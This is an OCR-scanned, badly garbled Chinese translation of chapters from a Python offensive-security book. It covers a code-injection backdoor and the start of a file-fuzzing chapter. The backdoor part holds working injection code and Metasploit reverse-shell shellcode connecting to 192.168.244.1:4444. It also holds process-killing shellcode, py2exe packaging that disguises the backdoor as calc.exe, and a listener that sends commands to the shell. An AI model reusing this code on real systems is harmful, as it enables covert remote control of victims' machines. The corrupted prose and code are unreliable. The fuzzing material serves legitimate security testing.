PROCESS_ALL_ACCESS = ( Ox000F0000 | 0x00100000 | OxFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

# SEBAI B FF A AT AT SCHBTE B BT R 42

path_to_exe =2CsN\aalcienxe”

startupinfo = STARTUPINFO()
process_information PROCESS_INFORMATION()
creation_flags CREATE_NEW_CONSOLE
startupinfo.dwFlags 0x1

110

] el | |




DLL EA 5 AR EAF K

startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof (startupinfo)

$ JEEEITENERAE
kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref (startupinfo),
byref (process_information))

pid = process_information.dwProcessId

XEIFEEN AT TEROER AL N EF G H Y, ik R4 A AT bE,
FHN. R ACAE R B B R G R ACHY 2 5 o FRATT IO N R B0k 2 [A] I 2 A9 A5 DLL 3 A

IXPRPEAFEA, PRI RGN 25 parameter E A 1, 28 & data B 3E4E DLL
AR AR . XFE MRS XA SEAS A HE, (ERF WA, FEikRITEBEAD)
e gt A SC A backdoor.py 2 .

backdoor.py

def inject( pid, data, parameter =

# IREUFTETE AN H AR (0 A RS
h_process = kernel32.0OpenProcess( PROCESS_ALL_ACCESS, False, int (pid) }

if not h_process:

print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit (0)

arg._address = kernel32.VirtualAllocEx( h_process, 0, len{data),
VIRTUAL_MEM, PAGE_READWRITE)

written = c_int(0)

kernel32.WriteProcessMemory (h_process, arg address, data, len(data),
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byref (written))
thread_id = c_ulong{0)

if not parameter:
start_address = arg_address

else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.411")
start_address = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
parameter = arg_address

if not kernel32.CreateRemoteThread(h_process,None, 0, start_address,
parameter, 0, byref {thread_id) ) :

print "[*] Failed to inject the DLL. Exiting."
sys.exit (0)

reburn True

BAEFRATCA T N8 B9 R 80T LR I SZ RS A DLL 3EA . Tl
BT XA T H B E0 R AN ELIE (R 588 3 calc.exe {E APBUIOLM shellcode, 437 H
T e —AN S 0] (R e £ shell &8, DA BhRATT RS0 B BERE LAV BR 7 2 . BRAE LEIRATTA
Jii I A< 4k 2 HEA G Y .

backdoor.py

# BRAETRA T Sk TR B A A RUBERR, JF BT AR AR

# LAGS s B R BT .

#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444
#Size=287 Encoder=None http://metasploit.com */
connect_back_shellcode = ;
"\xfo\xbha\xeb\x4d\xe8\x I\ xff\XEfE\XEF\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\xBb\xT7c\x05\x78\x01 \xef \xBb\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\ x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84 \xc0\x74\x07\xcl\xca\x04"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01 \xeb\x66"
"\ x8b\x0c\x4b\xB8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\xlc\x61"
"A\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\xBe\xde\x0e\xec\ x50\ xFE\xd6\x66\x53\x66\x68\x33\x32"
"\x68\xTT7\xT73\x32\x5£\x54 \xff\xd0\x68\xcb\xed\xfc\x3b\x50\xf£\xd6"
"Ax5F\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"AxE5\xad\x5 7 \xEfAxAB\X53\x53 \x53 \x53 \x43 \x53 \x43 \x53 \xff\xd0\x68"
"\xc0\xaB8\xf4\x01\x66\x68\x11\x5c\x66\x53 \x89 \xel\x95\x68\xec\x£f9"
"\xaa\x60\x57 \xEf\xd6\x6a\x10\x51 \x55\xff\xd0\x66\x6a\x64\x66\x68"

P R " P R e e R
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"\ x63\x6d\x6a\x50\x59\x29 \xcc\xB9\xeT7\xb6a\x44 \xB9\xe2\x31\xcO0\xf3"
"\ xaa\x95\xB89\xfd\xfe\x42\x2d\xfe\x42\x2c\xBd\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xfE\x75\x28 \xfE\xde \x5b\x57\x52\x51\x51\x51"
"“\x6a\x01\x51\x51 \x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\=xde"
"\xba\xfE\XEE \ 3T \xEE \xdO\ %68 \xe7\x79 \xcb \x7O\xEfE\x75\x04 \x£f\xd6"
"\xEEAxT7\xfe\xf£\xd0\x68 \xef\xce\xeO\x60\x53 \xff\xd6\xf£\xd0"

inject( pid, connect_back_shellcode )

#/* win3d2_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
our_pid = str( kernel32.GetCurrentProcessId() )

process_killer shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8Bb\x45\x3c\xBb\x7c\x05\x78\x01\xef\x8b"
"\x4df\x1B\x8b\x5f\x20\x01\xeb\x49\xBb\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\xB84\xc0\x74\x07\xcl\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64 \x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"Ax83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\xBa\x0e\x57\xff"
"\xeT7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b"
"\x6b\x69\x6c\xbc\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

A\
\
\
\
\
\
X
\
\

padding =4 - ( len( our_pid ))
replace_value = our_pid + ( "\x00" * padding )
replace_string= "\x41l" * 4
process_killer_shellcode
process_killer_shellcode.replace( replace_string, replace_ value )

# MRS B shellcode Al F& 45 # B

inject( our_pid, process_killer shellcode )

KIhE R BATE 5K 5 113 B 54 PID fE R shellcode H, A5 A1 3RAT160 2 )%
e CRZAMITIEM calcexe #EF%E, tHBURITIEAHFARERE) AR, HFaSHE
B TASERNME TR 2REBNCAHT MHARLEMETERF, JFHRAE EN
Rt — BT AN A REET BN SN AR, RIOPETIRE
EAR ARG VT R X0 AR 1 5 T TRE PP 4 T — e WL B, O /M B
AR RGN R, HFRIIEANRGH P EE U R LG E BRI YE, itk
(TP BN R A SCH — BB IS0 R AN 2024 H P X B S shRR e, RT3k —
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MZEFE shell. PRATCAMS B B dgi il %, MRRM (D, s AT PRAEAR S R 3.
B H a7 A BRI — A S A R g, BATOTRUE— S B E %3 T Python 2
BE? ANEMRBRIMIAR! XWIER T /NS0 TR R pR% e R — M ar
) Python T H FE——py2exe, ‘& 0] LLHEBIFRATHE Python A1k K —AN T ELAT L)
Windows 1] 44T 3C 4.

7.2.3 {£H py2exe %i¥ Python %3

7 — 3R Python & py2exe " 7] LA Bh#/Ks— A Python JEIA G 1% Ky — M) Sk 140 2 1)
Windows A #4730 R E & R AL Windows HEE TR A g 8O AEH py2exe, 7Rt
fTEL F BRI, W& EiX — . B AR R IUEAT py2exe M ZERFHEER, 25
RENATIE A — N H AR AR e . A T IRATH S B AR 3 4 — 3 v AT S,
BATHE QR DR MR A L T T-/GE I ff g . Brd—4 Python 3044,
¥ 224 setup.py, A LLFILITACHS.

setup.py
# NJGI] backdoor . py %S i E A

from distutils.core import setup
import pyZ2exe

setup(console=[ 'backdoor.py'],
options = {'py2exe':{'bundle_files':1}},
zipfile = None,
)

Ah, BUEX AT LRI P AR B R sewp &S 133
console AFAFEE T W H @ i) LA, Z% options M1 zipfile 1] H T Python Fr# #i1
DLL ST 80 SAt R 7 (0 58 = 5 BESRAR IR N\ S5 28 26 i () AT AT S0 4822 b . 3 mT LU 79
EANMETTR& RPN, BIERE A KRE %3 Python [f] Windows R4 F, Jil 1#E
FRA NV S RE QI IZ1T . A, iEHI{RIIA my_debugger_defines.py, backdoor.py 55 H #2
BIA setup.py £ T [F—H3& F. BAEVI#E] Windows dr 4T F, #n F A =g 341195
R AR

python setup.py pv2exe

TG PR LR oK 7 B AR WA DL H s R B, TEMR SE R o TR BB

@© EIRHL py2exe,i#§ /i 9] http://sourceforge.net/project/showfiles.php?group_id=15583.
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H3k: dist # build. £F dist H& FAR 0] LG 24 i) n] #4047 4 backdoor.exe CLAEHS JLAS
el HREAAPAT X EL A calcexe W IHLHEBE B RG22+, BEHEVINIR
SRR AT cale.exe M4 c:\windows\system32 FE HIFHB IR HF o\ F, 75
B G G T TR S cale.exe T c:\windows\system32\{# 52 & T i @2 ekt 2 25, B4R
ATTME 3B R R A — AN BESE S 1) [F1I%E (S #2 shell, FIHIERATKRGR 'S —AN6 5 1AL
T AR X dr 2 AU Pt o BN 4810 Python X, #5316 44 B back_shell.py F4i
ALL A,
backdoor_shell.py

import socket
import sys

HoBL = 2192 1 6R.244 4
port = 4444

server = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )

server.bind{ ( host, port } )
server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )
connected = False
while 1:

# SO H bR WAL 2 1 B i B

if not connected:
(client, address) = server.accept ()
connected = True

print "[*] Accepted Shell Connection®
buffer = *"

while 1:
Lryee
recv_buffer = client.recv(4096)

print "[*] Received: %s" % recv_buffer
if not len{recv_buffer):

break
else:

buffer += recv_buffer
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except:
break

# [EFE shell A —2dqpd

command = raw_input ("Enter Command> ")
client.sendall ( command + "\r\n\r\n" )
print "[*] Sent => %s" % command

EoRIGBIAER LT — /M 55 1) socket 4538, & AT UG AT — AN
B T IXAN M BRI G 8RE. 7ETF R XA RSB AT, R ERYEE 8 ik
(R 2F 853 I #4522 host 55 port B RIFIH{E. 7E socket RF ML Z 5, BIRE G TR
calc.exe {BF B —FmHEEN L ((FHIRAHE Windows REW[FEFZERD HiEiTe. #
FARN [ 2 E BvH SRR (1 B 571 230, 10 Python Shell i 55 #% LI B =4 2 /- VRl 3]
ANSEGERE I P RCR T SR . 3 R S AT recy TEER, R Z1#& CTRL-C 4
AR, BHPERRAIREA &S AT PAZHA — 2 Windows JR7E ) Shell fir 4>,
#tn dir, cd F type, Foor KIFERIIARS 1! S TAUREIA KR — &4, VREBAT AW R4
REf ot B . IRV T RO RIA N R S BRATN G NP RAHERSE, RiFR
A LAURIERR SR kit — P BCERA AR, ARFH RS kW #Er= m AF DA
HIVIA R PRATELFE 3| Python fEX L4 T —VITAE, IRAIETESZ Python Frifi K
Yo SRR ER, DiReRAEARMKERYE, X— St hnrit!
IEWARET WL, DLL {HEA SR EAHARSEH HAKBRA, ¥EEIX - 2BEREEMRNE
A2 B0 LA B30 1) TR A G I AR B A R R . JRATTIF — AN mURs 2 2 o {3 FH 3
T Python [ fuzzing MAMESE K F IR BT . T B iLBAVESHE ) KA !




£ 8% Fuzzing

Fuzzing #| XA A &AM AR EFMOA —BN B T, iX 3 &)35) T € £ RKFAICH
AR 4 FAR A I, Fuzzing #3X-2 B 47 A TIEE M bug R A A A H AR F B L — . Fuzzing
64 AR FAE A 6y 3 AR A R X a 8h B R AR P A A — A B R 64 S A0 0w Y 6h X R
RXBI LA AL AR, BAERG IR B X 6 O R R E R RAARZ A
Fuzzer, A P HEMBANBHARAA LA Fuzzer #2545 , VARIREE Fuzzing i$#2F
R R EAN P B30 JUE bug, Z /6 BAVENH A — A LA A 69 Fuzzing A X254 8 Tk
B, EESHEY P, KMNEHFHEOEANBE K Fuzzing MXAER Sulley, vARA
Windows -F & T 3 #h#2 - &) Fuzzing M X 7 %

4o R AR 2 Fuzzing 3 AR & & fa £, A RGAEAEARN X 69 Fuzzer FHANF: £K
#) Fuzzer 5 & 5% Fuzzer, 4 Mm% Fuzzer 7 % & — oMl X 4] 69 456 R F, XL EARE—W
i BARRBANXHRETE AT, A, TFA Fuzzer L&) TEMIA @15 £ild P
& B3R 2t Al SR 5 k. FATVA— /N PBE Web JR 469 daemon 25 A, — A £ KA
&) Fuzzer %44 % A 2 HTTP #hil 893h47% A AT Had h —4aw 5 &9 HTTP s KB #), ML
& 4% Web JB.4 % daemon. 1 —AN3A 69 F F A Fuzzer M4 & T MBSIRQLEF—£
6 TR ERIA & HTTP K, HAEA X 2k KA 4 X434 Web IR F B Z T kA2 €41

s £ bug AP T RITE—KFZH % A Fuzzer AL W7, BA
X—% bug BEZBEALABAERAAMNLSMHEBE, SRKFRE AR EAGZE S
TG PFA CARRAEDEHLEXGPM, KMNE ARG S S48 FRAF LY
JUAb iR e 5| 22 5, 364k 18 88 4o {48 1R 69 Fuzzer /&3 K &4 77 4E R4 381X 2L F)

O HF AL EMNSHBEXAR B ERE DL FOHFRAME: H Mark Dowd, John McDonald Fl
Justin Schuh 3t [[] 4% 5 ) % %% 35 fE<<The Art of Software Security Assessment: Identifying and Preventing
Software Vulnerabilities>> (i Addison-Wesley Professional - 2006 4 H ii0).
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8.1 JLFPH WY bug JHKY

CERTAR AP SLBE AT A, PR S ) RN A 2 T B R R o KA bug ()
BEEE, PRRIX bug TR AT H AR N BT HR AN . 1 Fuzzing #li{$
AIE RO T —Fh @ sk iR 12k 3 Bh B & 3k T & FhAe e 2 A W &R bug, XHEPFT
A A B ARG B E A E AL, 37 A b A B 5l 57 B 8% i 2R R (20 8.1.3 #U1k
) 5. Fuzzing MARR 78 H T8 v bR R 250, RIFERGEH T AR L3 T A
5 S HLIF) Web \‘v‘JJ {HR AT iy S0 (R 0K (PR T AR 261 H b R Ge b DO RS 8 s 1T
B BRI, AEIX R 5 sk ER 00 @ & HE S IR T A2 .

8.1.1 ZEMmXiat

2 PP X i HH R o A Wk 1K) — AR ERARIR I . BT A DG AU SE 4l R N A7 A EE R A
R ACEREIRE . B 5 R SRS gm B S I A 0 o 8 R PR AT RE R 5 | e R X i | Ilmz‘ﬁ
{EJTM .

a1 52, AR B ) Bt — P A7 DI b A7 A\ 0 oy Bt RO B I, (0 2 i e 2 e X 3
AN TE R LM R R X ARG, VR T LUK B 8 X AR S Rl — N AU — -2 1 7K A -
AR R R R A S PR E K, EEREEWE L, RAKEESH LT
. RN WL KA BE EENeRKESRBUTAFR, RENESFHAED
i PR B Mo bR RS — IS KT o AR EAF A FE e R AR, Y
PRk B ) — R EEE R ph X OKRHD ST B OK) B, BSOS N B kL 28 b
X (30 5 558 o5 AR e T 5t 2 A EEE . 01 S e o K 1) 8 A7 X S P 28 B 2R e %
,E;szii}'ﬁ";’ﬁfu‘-.ﬁ'uJ fJiS/\iiﬁ’Jt'a‘i“UTtiﬁ-J@ﬁ‘IﬁJrf’i}\f}T 2R T A0 IR P DL R e N S 1)
AR AT R 12, WA A BB L. BT AR A e 2 ph (X 4
e BT H R l' 'JJ]LJ HEfwE e o IXPI R E % AE TR L EE AR e A X 5, SR
i HEEH B R ) R —BGE &8 H AR P N SR ACR S AT it .

Bedtn th 10— bR E TR IR S S 0 | Ak 3 2 g, 31X O Bk #8444 hS
PATH R A3 T NS . BEAGHE T el S 267 ek Bk i 12 B bk, 8%#
S T ik BRI R EREE, sl Bouhk EAR R AEUE, a8 2O A0 A 5 A B R AT
B AP T BOR U 45 R S AR IT 73R e AR SR T 51 R R R ) AR B U 1) B S
Ha tH FAF AR GAEAENLD 2 &, FIEE AR K EEAA, RERaSit —AEEN
frvyin) 3, XAEEIAN R AE 8 Fuzzing S5 B4R M RS 2 51k,
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HERE R A PIRAIRRZ A “HE” MEEREX B Z P, XA BUE R BRI AT I 7 i
AENFFTEZ . HEd— RIMEEMA “H” BARAM, {EiXeE “H” Hnsis
H, BT ZIEW f"f'%{ﬂ'??ik B Z B AP G, JCEBAE AT ER G IX A, R RGN
diafr. MR AEHER N, AR BRI 7 hEEE RS, XAR RSB T 07
HH R TG - f&f:.e.l){l|r-ﬁMiﬁﬁ'ﬁaM’JﬁEE%{ﬂ}I’!’Ji"j’PLI?’“F, (i AT s B S N A B AT
S, XA R, RomBERH . 24, B FUAhEE R A A T HER
R . A I TR T R U R T OSSR R Dk S A i
Hifh N ZRNG R BREAR A — R L S B, X R B T R PR A
G IA AR, AT IRATLA 18 2 — AR ) ARk N A7 D ) i . 3P ) B = 2 1)
SIS 2 N 2% DR 2 A W v N DA (9B SR IS s AN DB AR

Co Windows £ E#rE B

A ik BRER Windows RAMBHRAASREABS KGERAEFFEAR (LFLEIE exploit
), ARAENHERBLT AR TENAXRES ARG ZAAEIEE, KNFZHLHFE
(Gflag), Mp—EliFixatr s, REAMBENGF XRIE, LREARKFNITH, KTAE
Microsoft Windows 2000, XP Profession # Server2003 LA fl iX 204 B 47 &

2B AR AR R A ERG DMK A LR ( Page Heap Verifier) T, Hk4 X —st42F
BRI, HBIEZSHEACADTRTHANISNFRNE, QAN EARS RS FE
e MAAHRAAERSZ LT ER QAR LT ROBRE > 2 —APFHXFH4, RBE
L AT R 69K B PR, X R AR XERFEANK bug G IRFIIEEA R KT R VR RN,

ATREREIES, RERHBAAEY Gllags 47E, MBARGERA PFRET —#FEH A
25 gflags.exe, 15 77 vAil 3T A T iX 4843 % % F 89 i 800 T . http://www.microsoft.com/downloads/
details.aspx?Familyld=49AE8576-9BB9-4126-9761-BA8011FABF38&displaylang=en,,

Immunity & B AL % 114 %4132 T — 4 Gflags #4848 %6 £ Immunity Debugger ¥, AP A&
il it P75 2 96 69 PyCommand 4B 7T 5483 % 8 Gflags #7285, B2 THRMBAM T AL H,
% 9] ; http://debugger.immunityinc.com, 3

M Fuzzing PRIV A, A T AERATTAE s IR 1] 2 T Gt i+ 9 £ P 6 1S
FATRZ ) H AR ERAGE KR A BEE, L&A T B AR 7 A 30T Bk 12 Ak 8 ful
B ARk = 5 B )4 AL U AL TR £ 3 42 DL 75

T HFRATR HOCHR 2 55— RBNE H I bug B E——HEHREH

8.1.2 EF#HH
WA ST AR XA AR I AR bug, X B R 2R kA R R T R
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)R A X, LA B A P % e Ak i o o 3K 4 TR B I‘rf‘J’“?'/Kﬁ{"r‘ M5 RE]
FF# R4 T-2147482648 ~ 2147482647 2 [0] [R5 M Pl i — AR5 88
A NEHIX RS EN, ekt . B }J' PR E U HUEE H—A 32
P TS BB R EOR TS I, PR32 i LM A B, HFORE 32 MIKAL
FIBARE AP IE R . RERE KRBT IHFARTAKRATHH, BATHERE LK
RGOk it A I HGRE 3 5%, O] BLA TR 21— VOB 8ok Y 3040 2 dn el 5 B0 2> iz /s
FRUHB N AR 0], TTEEER H— K KA fEPl——22 b X B

MOV EAX, [ESP+0x8]

LEA EDI, [EAX+0x24]

PUSH EDI
CALL msvcrt.malloc

il 28— 28452 F T AR _L[ESP+Ox81UA — NS HH IF K AN EAX Hfrdg. ¥
TR 2K AEEUE 0x24 Y5 EAX Z [T KA IE 4115145 BAF N EDI HfFad2H. WJa
BATH b (45 R AE 1L AJJ%}V»HM:‘?TL%IJ £ malloc fE 0 ME— I AZE (XNSEH TiE
W] malloc NAZAFACHIAAER ). HRETX: -tuff@ﬂwzl? e KHE, ARG ? BRAERA]
B LR R L2EOh A HR S8, JFHXNE RO CSEIL T A 55 BHEUE
R ERAF GEclE BRI 2147482647), iIJH:I SEATE I B8, tetn 0x24
o FBORER MR RE, BERMAARE—MNEERANIESR. BELRINE 5
B LAt L2 HOBAEN TRAMAKE LS STEN, BABRIMNEN—ADNH
OxFFFFFFES, %13 8-1 [ {R¥7R 11X P 2 el 24T 19 .

FFk8-1: EXRMNAFEORI T —1MEEFSBHEST—XERIBERRE R T

H 2% 0xFFFFFFFS

FAEIE OXFFFFFFF5+0x24

HABRIES R 0x100000019 (AL RMKEEHT 32 47, A% Q3RS X

S WBUE SR 0x00000019

H PR RA, FEZ T malloc BIFESAC— BN 19 AN FX SR,

Al fig LERE 7 O R R )uﬁf'r'fﬁiﬁ'l’l’d)\l JENIE . XTGP XA ER T L E AT ----
HJ Tk B R 7 0 KB N B, T8 2 28 pp X i RS AS a3 f . PR Sk T A8 347114 Fuzzer
FiFr ] fg iy h X Se s Ho I, IRATT 75 B ARAEBRAT I 36 B ch A& KB
IE¥EEC SR T s, IR Eua R AR, B B RESE HFERNIT A
LR, PLA G| A AT BT ) A AL P 8 P X i HY e

N FBRATTR PRI TR 5 — R A A R B ) bug——& AL R R .
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8.1.3 WA EBME

B Ak B i R R B B B — 2K AR R A B R A S, X — KA 1T R AL FE Y
FEAEES RO 7 T AT RSk ok B B R BGEHE A M A SR R KRR, ®IK C
pR 3 printf FEJE —/NRBIME] 1, DUR XA R E R R

int printf(const char * format, ..);

NS H format FERANFRZ Ak, BALBTUREEZANRESEHES T,
F T2 — A B e A i A P e . R ings 1R B 481

int test = 10000;
printf (“We have written %d lines of code so far.”, test);

it &R

We have written 10000 lines of code so far.

Hh%d b — AU AR, X BERRME NS BREE R E(E, L
kA Xt . AN EEASEAO R REC R SRR BRI R S SE, (E

A AT R AEFERLLL T AR B :

char* test = *¥x";
printf (test);

W aR:
5a88c3188

XAERKMFH PR, RERSEATRZ AN RS, HXIFEA U
31| R % printf AR ERAIFTAEAN R4 H, SEBR LR EBIFE printf ¥ LB BB F—NMF TR
b (R BN A IR AR B Ak A B . 76 BRAIXANEFrb, RAIBERIME LS RN
0x5a88c3188, XAl figERAAFeAr T L—/ b 8dlE, a0 A EEER . 73S
AT 14 59 B R A U B A5 20 ) S Yos FN%m, 58 W FF Gos H5 45 4 6 XAk o 615 T 0y At a4
WAEEIE, HPSPE N BERM NULL I8 1E . EEBahE S A X —
PR, LIGTEUE T B rer e B LR SR, S8 T34 B /R R0 B
i) AR 2 4 ) P9 A7 308 3 110 3 BOH 30t o 1 3 U8 B %n 13— K — 2 4b9E T8 RVFFR I N AF
FEANEPE, AR TR ARG H . X0 S S e I B Bk el
HEEREANA RBEFE RO T E IR, X &85 B 2ok k2 B k5 B0
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JFPATAT RARAL I H . A Fuzzing SRR A, FRATTHT SRR DU PR A A2 )
AR B R AR R UL AR, DA AT A 9 T 0 SR A 1R s oA o 450 2 R 8 e a i
fiiE_ AT AL A U B .

FIHBI W IEFRATO G T 25 WRAB A4 bug, F—HERMBRMNA K
Fuzzing $Ii{ TR T . A1 Fuzzer BRI — 08I 8E A TR SO K
i QH"" 3 Fuzzer, MAMRAIFIZE N A PyDbg tB¥ UG, €M THBERINRES
WA AEAE B AR P R B . B RATIT 4 !

8.2 /¥ Fuzzer

SO RS R T] IF PR b il o8 25 7 i B 0 R, EALA AN BRIRAZ 8 E 1] 8 R0
RU IR AL TR FAF T 8 MR At a8 1) bug. WATHHEE M E DL Fuzzer
AEBE T W T VIS0 o, A PR R R AT Tt H AR IR 8 A U L AR
i fe KO MR, VPR R AR 2 3 000 s 0 2 ot R R — O B e 8% . FRATD
¥4 A Fuzzing SAHEZSHRIE — 4 Uil ThfiE, CAPMBhIRATERER O it -G B, X E(E
BT RATH G A 2 TR AR Z 2R A ZSE0E. BERAEH K —LeH
K IR DI RE, DA T A 1 A B ) PR R R I R B . 4RI HILJ%EA
Wk H bR 2 26 AE KR, I 0 MaE T35 BeME ) Fuzzer I, A58 £ 2 B IX TG VAN A2 38 1K) 1) fiE
W RNSC . FIIRAIFTE MBI R — PN Fuzzing W858 — N IEA K H 2L,
FFHR AL — AT 5 ) SCAFIEFE 28 A RATBEN L S EUREA S . BRAE BT — Python U, %5
H.iw 4 4 file_fuzzer.py, FFHIALL R LS.

file_fuzzer.py

from pydbg import *
from pydbg.defines import *

import utils
import random
import sys
import struct
import threading
import os

import shutil
import time
import getopt
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class file fuzzer:
def _ init_ (self, exe path, ext, notify):

self.exe_path = exXe_path
self.ext ext
self.notify_crash = notify
self.orig file None
self.mutated_file None
self.iteration S i)
self.exe_path = exe_path
self.orig_file = None
self .mutated_file - None
self.iteration 0
self.crash None
self.send _notify = False
self.pid None
self.in_accessv_handler = False
self.dbg = None
self.running False
self.ready False

# ATHRYE B B 001 018 sOX e A i (X EL
self.smtpserver = 'mail.nostarch.com!'
self.recipients = ['jms@bughunter.ca',]
self.sender = 'ms@bughunter.ca’

self.test_cases = [ "%s%n%¥s%n%¥s%n", "\xff", "\x00", "A" ]
def file picker( self ):

file list = os.listdir("examples/")

list_length = len(file_list)

file = file_list[random.randint(0, list_length-1)]
shutil.copy("examples\\%s" % file,"test.%s" % self.ext)

return file

file_ list = os.listdir ("examples/")

list_length = len(file list)

file = file_list[random.randint (0, list_length-1)]
shutil.copy("examples\\%s" % file, "test.%s" % self.ext)

return file




o (R ACHS R FAT T ) 80y Fuzzing 2K file_fuzzer 21 | — kB IFCHE, {Rnl AR
FIE PR init__ 2 PR B A SC e B AR B S, IX SRR R AR R O BF - #81Y Fuzzing
MRS FANRAT E o ShA R B file_picker {3k T—4% Python [ 5 (19 FF bR {8 AL T
AR SRR, BT RFE I e R Bl AL A EURE A SC 44 DL A )i 428 S A 1 S Y
FEAR . FHBMNTESIA—LZ RG], DRI AR K R e =N 00A 5 28
nEk AN R BRI, CLRAESCRI R T TV 52 2 J5 i s M 22 45 H bridt
So AHENTEATEINE —A EFRER, FEHEBAEEY T Hirfr, fed—
N ZERERARLA A AR EEEIE . B RAITE 8 AR DU 2 AT B A e 46
E, I E—BEHERNEZ G MRS . BUERATER AN R, BZELEIRAD
A FRHE B (R —ANREPE G EEAH I R 288 i 7 ek %

file_fuzzer.py
def fuzz( self ):

while 1:

if not self.running:

# 8 SRR — N A S I S A (48 R e A
self.test_file = self.file picker()
self.mutate_file()

#9F A R

pydbg_thread = threading.Thread(target=self.start_debugger)
pydbg_thread.setDaemon(0)

pydbg_thread.start ()

while gself.pid == None:
time.sleep(l)

# IR

monitor_ thread = threading.Thread(target=self .monitor_debugger)
monitor_thread.setDaemon(0)

monitor_thread.start ()

self.iteration += 1

t HREFRETEE
# WAL T
def start_debugger (self) :

print "[*] Starting debugger for iteration: %d" % self.iteration
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self.running = True
self.dbg = pydbg()

self.dbg.set_callback (EXCEPTION_ACCESS_VIOLATION, self.check_
accessv)
pid = self.dbg.load(self.exe_path,"test.%s" % self.ext)

self.pid = self.dbg.pid
gself.dbg.run()

i FRATT ik U ) Ak B R R 0 5t A
# IFidR FHXMER

def check_accessv(self,dbqg):
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_CONTINUE

print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True

crash_bin = utils.crash_binning.crash_binning{)
crash_bin.record_crash{dbg)

self.crash = crash bin.crash._.synopsis()

b BT B B
crash_fd = open("crashes\\crash-%d" % self.iteration, "w")
crash_fd.write(self.crash)

# DRAF 2900 B SO A-30E F B
shutil.copy ("test.%s" % self.ext, "crashes\\%d.%s" %
(self.iteration, self.ext))
shutil.copy("examples\\%s" % self.test_file, "crashes\\%d orig.%s" %
(self.iteration,self.ext))

self.dbg.terminate_process()
self.in_accessv_handler = False
self.running = False

if self.notify crash:
notify ()

return DBG_EXCEPTION_NOT_HANDLED
¥ XRBNMNOKERY, ERTERRBRFEITEYZ)E
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¥ KA
def monitor_debugger (self) :

counter = 0
print "[*] Monitor thread for pid:
while counter < 3:

time.sleep(l)

print counter,

counter += 1

$d waiting." % self.pid,

if self.in_accessv_handler != True:
time.sleep(l)
self.dbg.terminate_process()
self.pid = None

self.running = False
else:

print "[*] The access violation handler is doing its business. Going
to sleep”

while self.running:
time.sleep(l)

# IR £ DT A SRR B AR R A R
def notify(self):

crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:

Fd\n\nOutput:\n\n %s" %
(self.sender, self.iteration, self.crash)

session = smtplib.SMTP (smtpserver)
session.sendmail (sender, recipients, crash_message)
session.quit()

return

PR B fuzz 7R AT B4 Fuzzing M) LG, iERAIPOE R W — XA ek B0
PATHRE . HER P OERAIET A 4 Fuzzing M EERTH, BT EMLRA

Hr—¥ 1) Fuzzing TG 2 07, E—% 1 Fuzzing 45645 . BB Z R FEIEE: U
] b BEBIFRAT T4 s R 1S 2 B, 2 JRbRAE self running 3R A EE . — BIRA1H) @
AT ELF o8 — %2 ) Fuzzing MK, FRATIED AT f5 Bh A FE a8 BEATMEL — M REA S, %
FAL B 45 A2 5748 mutate_file®, 5 WA MBS HIX A e B L TR .
{E3CHF42 5 8% mutate_file IR[F1.2 5, BATEIATIFIE —ANERLERO, ML 7dim
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AR SCRYRAT TAEM BARN TR, JF A 21T S TE e A 248 57 Br 3 3 /9 31
F . B AT TN — AN B IO A BR 5 4 2 v 254 T A LR FE NS H AR EEFE ) PID {H.
G RATEIT R 5 — Mo, Wimdi fnumitd —BaimnEdEe m44H
bt . WAV REELEZ G, BRATKEEN 41 Fuzzing S8 %, HEFHEAE
TR B 50 BRI eG . BRAETRAT 1A L2 W48 21 (1) SoF 48 7 pR B

file_fuzzer.py

def mutate file( self ):

# BRSO AP

fd = open("test.%s" % self.ext, "rb")
stream = fd.read()

fd.closel()

# Fuzzing MRS MBPEAREM LG, JEFMF S
# W5 Feh BEHLEE R — DA, R
#M— P RET

O test_case = self.test_cases[random.randint (0,len(self.test_cases)-1)}]

(2] stream_length = len{(stream)

rand_offset random.randint (0, stream_length - 1 )
rand len = random.randint(l, 1000)

# REPHEXAE A B

test _case = test_case * rand _len

# PO S BRATEH CHWHEEN Fuzz B
# PN B

fuzz file = stream[0:rand offset]
fuzz_file += str(test_case)
fuzz_file += stream[rand_offset:]

# TFE S

fd = open("test.%s" % self.ext, "wb")
fd.write( fuzz_file )

fd.close()

return
